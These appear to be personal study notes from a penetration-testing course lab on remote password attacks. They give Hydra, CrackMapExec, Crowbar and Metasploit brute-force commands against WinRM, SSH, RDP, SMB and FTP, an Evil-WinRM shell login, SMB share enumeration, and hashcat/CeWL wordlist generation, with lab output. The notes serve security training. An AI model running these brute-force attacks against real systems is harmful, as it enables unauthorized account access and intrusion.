----Recap Remote Password Attacks

mercredi 9 octobre 2024 6:17 PM

https://attack.mitre.org/techniques/T1003/003/

Module	Content

FTP	SMB	NFS
IMAP/POP3	SSH	MySQL/MSSQL
RDP	WinRM	VNC
Telnet	SMTP	LDAP

WinRM

for security reasons, **WinRM must be activated and configured manually in Windows 10**. Therefore, it depends heavily on the environment security in a domain or local network where we want to use WinRM. In most cases, **one uses certificates** or **only specific authentication mechanisms** to increase its security. WinRM uses the **TCP ports 5985** (**HTTP**) and **5986** (**HTTPS**).

CrackMapExec :

Note that we can specify a specific protocol and receive a more detailed help menu of all of the options available to us. CrackMapExec currently supports remote authentication using **MSSQL**, **SMB**, **SSH**, and **WinRM**.

The general format for using CrackMapExec is as follows:

```
$ crackmapexec <proto> <target-IP> -u <user or userlist> -p <password or passwordlist>
```

```
$ crackmapexec winrm 10.129.42.197 -u user.list -p password.list
```

```
WINRM   10.129.42.197   5985   NONE    [*] None (name:10.129.42.197) (domain:None)
WINRM   10.129.42.197   5985   NONE    [*] http://10.129.42.197:5985/wsman
WINRM   10.129.42.197   5985   NONE    [+] None\user:password (Pwn3d!)
```

The appearance of (Pwn3d!) is the sign that **we can most likely execute system commands if we log in with the brute-forced user**. Another handy tool that we can use to communicate with the WinRM service is **Evil-WinRM**, which allows us to communicate with the WinRM service efficiently.

Evil-WinRM

Installing Evil-WinRM

```
$ sudo gem install evil-winrm
```

```
Fetching little-plugger-1.1.4.gem
Fetching rubyntlm-0.6.3.gem
Fetching builder-3.2.4.gem
Fetching logging-2.3.0.gem
Fetching gyoku-1.3.1.gem
Fetching nori-2.6.0.gem
Fetching gssapi-1.3.1.gem
Fetching erubi-1.10.0.gem
Fetching evil-winrm-3.3.gem
Fetching winrm-2.3.6.gem
Fetching winrm-fs-1.3.5.gem
Happy hacking! :)
```

Evil-WinRM Usage

```
$ evil-winrm -i <target-IP> -u <username> -p <password>
```

```
$ evil-winrm -i 10.129.42.197 -u user -p password
```

```
Evil-WinRM shell v3.3

Info: Establishing connection to remote endpoint

*Evil-WinRM* PS C:\Users\user\Documents>
```

If the login was successful, a terminal session is initialized using the Powershell Remoting Protocol (MS-PSRP), which simplifies the operation and execution of commands.

SSH

Port 22 by default.

Hydra - SSH

```
$ hydra -L username.list -P password.list ssh://10.129.42.197
```

```
Hydra v9.1 (c) 2020 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2022-01-10 15:03:51
[WARNING] Many SSH configurations limit the number of parallel tasks, it is recommended to reduce the tasks: use -t 4
[DATA] max 16 tasks per 1 server, overall 16 tasks, 25 login tries (l:5/p:5), ~2 tries per task
[DATA] attacking ssh://10.129.42.197:22/
[22][ssh] host: 10.129.42.197   login: user   password: password
1 of 1 target successfully completed, 1 valid password found
```

To log in to the system via the SSH protocol, we can use the **OpenSSH client**, which is available by default on most Linux distributions.

Remote Desktop Protocol (RDP)

TCP port 3389 by default.

Hydra - RDP

We can also use Hydra to perform RDP bruteforcing.

```
$ hydra -L username.list -P password.list rdp://10.129.133.159
```

CrowBar

```
$ crowbar -b rdp -s 192.168.100.10/32 -U ~/users.txt -C ~/dico.txt
```

https://www.it-connect.fr/comment-realiser-une-attaque-brute-force-rdp/

SMB:

Hydra - SMB

```
$ hydra -L user.list -P password.list smb://10.129.42.197
```

CrackMapExec :

```
crackmapexec smb 10.129.90.101 -u "cassie" -p password.list
```

Metasploit Framework

```
msf6 auxiliary(scanner/smb/smb_login) > set user_file user.list

user_file => user.list

msf6 auxiliary(scanner/smb/smb_login) > set pass_file password.list

pass_file => password.list

msf6 auxiliary(scanner/smb/smb_login) > set rhosts 10.129.42.197

rhosts => 10.129.42.197

msf6 auxiliary(scanner/smb/smb_login) > run

[+] 10.129.42.197:445     - 10.129.42.197:445 - Success: '.\user:password'
[*] 10.129.42.197:445     - Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
```

CrackMapExec

```
$ crackmapexec smb 10.129.42.197 -u "user" -p "password" --shares

SMB     10.129.42.197  445  WINSRV      [*] Windows 10.0 Build 17763 x64 (name:WINSRV) (domain:WINSRV) (signing:False) (SMBv1:False)
SMB     10.129.42.197  445  WINSRV      [+] WINSRV\user:password
SMB     10.129.42.197  445  WINSRV      [+] Enumerated shares
SMB     10.129.42.197  445  WINSRV      Share        Permissions    Remark
SMB     10.129.42.197  445  WINSRV      -----        -----------    ------
SMB     10.129.42.197  445  WINSRV      ADMIN$                      Remote Admin
SMB     10.129.42.197  445  WINSRV      C$                          Default share
SMB     10.129.42.197  445  WINSRV      SHARENAME      READ,WRITE
SMB     10.129.42.197  445  WINSRV      IPC$         READ           Remote IPC
```

SMBCLIENT

```
$ smbclient -U user \\\\10.129.42.197\\SHARENAME

    Enter WORKGROUP\user's password: *******

    Try "help" to get a list of possible commands.


    smb: \> ls
      .                                   DR        0  Thu Jan  6 18:48:47 2022
      ..                                  DR        0  Thu Jan  6 18:48:47 2022
      desktop.ini                        AHS      282  Thu Jan  6 15:44:52 2022

                    10328063 blocks of size 4096. 6074274 blocks available
    smb: \>
```

FTP :

```
hydra -l sam -P mut_password.list ftp://10.129.80.205 -T 48 -I
```

Password Mutations

HASHCAT

Function	Description
:	Do nothing.
L	Lowercase all letters.
U	Uppercase all letters.
C	Capitalize the first letter and lowercase others.
sXY	Replace all instances of X with Y.
$!	Add the exclamation character at the end.

```
$ cat custom.rule
:
c
so0
c so0
sa@
c sa@
c sa@ so0
$!
$! c
$! so0
$! sa@
$! c so0
$! c sa@
$! so0 sa@
$! c so0 sa@
```

```
$ cat password.list
```

```
password
```

Hashcat will apply the rules of custom.rule **for each word in** password.list **and store the mutated version** in our mut_password.list accordingly. Thus, one word will result in fifteen mutated words in this case.

Generating Rule-based Wordlist

Password Mutations

```
$ hashcat --force password.list -r custom.rule --stdout | sort -u > mut_password.list
$ cat mut_password.list
```

```
password
Password
passw0rd
Passw0rd
p@ssword
P@ssword
P@ssw0rd
password!
Password!
passw0rd!
p@ssword!
Passw0rd!
P@ssword!
p@ssw0rd!
P@ssw0rd!
```

List existing rules:

```
$ ls /usr/share/hashcat/rules/
```

Crawl sites :

CeWL

scan potential words from the company's website and save them in a separate list.

We can then combine this list with the desired rules and create a customized password list that has a higher probability of guessing a correct password. We specify some parameters, **like the depth to spider (-d)**, **the minimum length of the word (-m)**, **the storage of the found words in lowercase (--lowercase)**, as well as the file where we want to store the results **(-w)**.

```
$ cewl https://www.inlanefreight.com -d 4 -m 6 --lowercase -w inlane.wordlist
$ wc -l inlane.wordlist
```

```
326
```

Username-Anarchy

Costum Password List from a First - Last Name :

```
./username-anarchy -i /path/to/listoffirstandlastnames.txt
```

Recap :

`cewl https://www.inlanefreight.com -d 4 -m 6 --lowercase -w inlane.wordlist`	Uses cewl to generate a wordlist based on keywords present on a website.
`$ hashcat --force password.list -r custom.rule --stdout | sort -u > mut_password.list`	Uses Hashcat to generate a rule-based word list.
`./username-anarchy -i /path/to/listoffirstandlastnames.txt`	
`curl -s https://fileinfo.com/filetypes/compressed | html2text | awk '{print tolower($1)}' | grep "\." | tee -a compressed_ext.txt`	Uses Linux-based commands curl, awk, grep and tee **to download a list of file extensions to be used in searching for files that could contain passwords.**

Password Reuse / Default Passwords

Creds:

```
$ pip3 install defaultcreds-cheat-sheet

$ creds search tomcat
```

.